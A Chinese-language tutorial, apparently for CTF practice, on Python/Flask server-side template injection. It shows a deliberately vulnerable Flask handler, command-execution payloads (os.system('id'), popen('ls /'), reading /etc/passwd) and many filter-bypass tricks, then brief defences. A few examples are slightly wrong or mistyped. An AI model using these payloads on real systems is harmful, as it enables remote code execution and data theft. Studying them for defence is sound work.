Python模板注入(SSTI)深入学习
字数 1057 2025-08-25 22:58:46
Python模板注入(SSTI)深入学习文档
一、模板注入基础概念
1. 什么是模板
模板类似于作文中的"好词好句"套用机制,在Web开发中,模板引擎允许开发者将动态数据嵌入静态HTML结构中。
2. 什么是模板注入(SSTI)
当不正确地使用模板引擎进行渲染时,用户输入被直接拼接进模板并执行,导致攻击者能够注入恶意模板代码,从而执行任意代码。
二、Flask SSTI漏洞示例
1. 漏洞代码示例
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.errorhandler(404)
def page_not_found(e):
template = '''
{% block body %}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{% endblock %}
''' % request.args.get('404_url')
return render_template_string(template), 404
2. 漏洞利用
访问不存在的页面并传入404_url参数:
http://example.com/notfound?404_url={{7*7}}
页面将显示49而非{{7*7}},证明模板注入存在。
三、Python SSTI利用链
1. 关键Python方法/属性
__class__: 返回对象所属的类__bases__: 以元组形式返回类直接继承的类__base__: 以字符串返回类直接继承的类__mro__: 返回方法解析顺序__subclasses__(): 获取类的所有子类__init__: 类的初始化方法__globals__: 获取函数所处空间的全局变量
2. 基本利用流程
-
获取任意对象的类:
"".__class__ # 获取str类 -
获取基类Object:
"".__class__.__mro__[1] # 或 "".__class__.__bases__[0] -
获取所有子类:
"".__class__.__mro__[1].__subclasses__() -
寻找可执行命令或读取文件的类:
- 查找包含
os、file等关键字的类 - 使用
__init__.__globals__检查模块
- 查找包含
-
执行命令:
"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__['os'].system('id')
四、Bypass技巧
1. 过滤引号绕过
-
使用数组代替字符串:
[].__class__ # 代替 "".__class__ -
使用
request.args传递参数:{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os -
使用
chr()函数:().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
2. 过滤中括号绕过
- 使用
__getitem__方法:"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(300).__init__.__globals__.os
3. 过滤小括号绕过
- 如果完全过滤小括号,则无法执行函数,只能获取信息如
config
4. 过滤关键字绕过
-
双写绕过(如果只是替换为空):
"".__clasclsass__ -
字符串合并:
"".__getattribute__("__cla"+"ss__") -
使用
request对象:{"".__getattribute__(request.args.a)}}&a=__class__ -
使用字符串原生函数:
"".__class__ == "".__getattribute__("__class__")
5. 模块阉割绕过
- 使用
reload重载模块:reload(__builtins__) # Python2 import imp; imp.reload(__builtins__) # Python3
6. 过滤{{}}绕过
- 使用
{% %}标签或其他模板语法
7. 过滤点号绕过
-
使用字典访问方式:
""["__class__"] # 代替 "".__class__ -
完整示例:
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
五、防御措施
- 避免直接将用户输入拼接进模板
- 对用户输入进行严格过滤
- 使用模板引擎的安全渲染方式
- 更新到最新版本的框架
六、总结
Python SSTI的核心是利用Python的对象继承链,从任意对象出发,通过__class__、__bases__、__subclasses__()等方法获取到能够执行命令或读取文件的类。在CTF中,需要根据不同的过滤情况灵活运用各种绕过技巧。